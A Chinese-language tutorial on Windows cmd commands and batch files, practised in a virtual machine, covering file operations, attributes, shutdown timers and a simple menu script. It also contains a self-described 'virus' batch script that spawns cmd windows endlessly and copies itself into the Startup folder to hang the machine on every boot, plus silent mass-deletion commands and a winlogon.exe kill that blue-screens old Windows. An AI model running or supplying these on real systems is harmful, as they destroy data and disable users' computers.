在虚拟机中使用 cmd 进行练习
基本命令
color ? //
询问颜色
color 2 //
改变背景及字体颜色 (2代表将字体设置为绿色,如上图所示)
cls
清屏
dir
浏览当前文件夹的内容(带 <DIR> 标识的为文件夹,否则为文件)dir /a
浏览所有内容,包括隐藏内容dir 指定目录
浏览当前文件夹的指定目录的内容
cd 下一级目录 进入下一级目录
cd ../
返回上级目录
cd \
直接退到根目录
md
创建子目录,如 md study2
rd
删除空目录,如 rd study2
文件操作相关命令
ren a.txt b.txt
改变文件(夹)名称,改文件名称需要加后缀
rd 文件夹 /s /q 无提示删除文件夹(可以非空),如 rd study /s /q
rd . /s/q 删除当前目录下的所有文件(包括目录)
其中 . 代表返回上一层目录,/s/q表示无提示删除所有文件
/s 是将目标目录下的所有文件及子目录文件删除,而 /q 是无须确认删除
del aa.txt
删除指定文件del *.txt
删除所有 .txt 结尾的文件del *.*
删除所有文件del *.* /s /q
无提示删除所有文件
注意:*为通配符,代表任意字符,任意长度
fsutil file createnew d:\aa.txt 4096
解释一下
fsutil:生成文件
createnew:生成新的文件
d:\aa.txt: 生成路径以及文件名
4096:生成4096字节大小的文件(用空格填充的)
assoc .txt=exefile 将所有 txt 文件改变为 exe 文件
assoc .txt=txtfile 将所有 txt 文件改变为 txt 文件
attrib +h 文件夹名 隐藏该文件夹,即对文件夹加属性,+后面的字母是属性。
attrib -h 文件夹名 显示该文件夹
type aa.txt | more 查看 aa.txt 的内容, | more 是分页显示(用于内容太多时)
dir c:/WINDOWS
echo helloword >bb.txt 将 helloword 写到文件 bb.txt 中(若无,则自动创建)
copy con a1.txt 也是创建文件,上面的 echo 只能往文件里写一句,这个可以一次写很多,写完了 按 CTRL+Z 回车结束
>> 和 > 都可以将命令的输出内容输入到某文件中,若文件不存在,则同时创建该文件,>>为追加, >为覆盖
attrib命令用于修改文件属性
attrib +h 文件全名/文件夹名 隐藏文件或文件夹
attrib +s +h 文件全名/文件夹名 提升为被系统保护的文件,+ 改为 -为取消修改文件属性
attrib +h +s +a 文件夹名 将文件夹隐藏为受保护的系统级文件夹并为只读属性;
+s:将文件夹提升为受保护的系统级文件夹;
+a:只读属性;
copy 1.txt ..\dir2\1-cpoy.txt 将当前目录下的 1.txt 复制为上级目录下的 dir2 目录下的 1-copy.txt 文件
.\ 是当前目录
move 1.txt ..\dir2\ 将 1.txt 移动到上级目录下的 dir2 目录下
系统操作命令
shutdown -s -t 60 定时关机:60s 后关机
shutdown -r -t 60 定时重启:60s 后重启
shutdown -r -t 60 -c "hello" 定时重启:60s 后重启,并且屏幕上打印出hello
shutdown -a 取消一切定时
shutdown -s -f -t 60 有时候这几个命令不好使,可以使用 -f 强制执行
shutdown -l 注销
批处理
批处理作用 自上而下成批的处理每一条命令,直到执行最后一条!
如何创建批处理扩展名: .bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
修改扩展名时,需要将文件的扩展名显示出来后再进行修改!
用例子来学习
@echo off
title lipeng suai
echo ==========================
echo.
echo hahahahaha
echo ==========================
pause
pause
作用:暂停批处理运行
@echo off
关闭回显功能,也就是屏蔽过程,只显示结果,建议放置在批处理的首行
title
lipeng suai 定义批处理的标题为 mybatch,也就是上图中蓝色栏里的文字
echo.
输出空行,和 println 一样
:的使用
: 可以将代码划分区块,执行完 1 区的代码,可以通过 goto 直接跳转到 3区的代码
:1
..逻辑代码..
goto 3
:2
..逻辑代码..
:3
..逻辑代码..
冒号后面写什么都行,就是给区块起个名字,换成英文字母也行
写个最简单的病毒脚本start 程序/网页
打开一个程序或者网页,如果不写,就默认打开一个 cmd
新建一个 a.bat
:d
start
goto d
运行该脚本会无限打开 cmd 窗口,导致电脑卡死
在 a.bat 的第一行加上这一句
copy a.bat "%userprofile%\「开始」菜单\程序\启动"
userprofile是一个变量,他的值为windows当前用户路径
意思是将 a.bat 复制到计算机的开机启动项中,这样第一次执行脚本之后,该脚本就会成为开机启动项,然后计算机就会卡死,重启之后就会自动执行该脚本,继续卡死,可以通过恢复快照的方式恢复正常。
下面是一个小程序脚本
@echo off
title 史密斯小程序
:menu
cls
echo ====================
echo 菜单
echo 1.定时关机
echo 2.查看本机IP
echo 3.退出
echo ====================
set /p num=请输入选项:
if “%num%”==“1” goto a
if “%num%”==“2” goto bif “%num%”==“3” goto c
echo 请正确输入数值(1、2、3),按任意键继续!
pause
goto menu
:a
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返还菜单!
pause
goto menu
:b
ipconfig
echo 按任意键返还菜单!
pause
goto menu
:c
exit
命令:set
作用:设置变量,常用于在脚本中的互动赋值。
互动赋值:set /p time=请输入时间:
引用变量:%time%
补充:
ntsd -c q -pn winlogon.exe 强制杀死指定进程 winlogon.exe
此命令针对 Windows2003 和 xp ,会导致蓝屏
taskkill /im explorer.exe /f
强制杀死桌面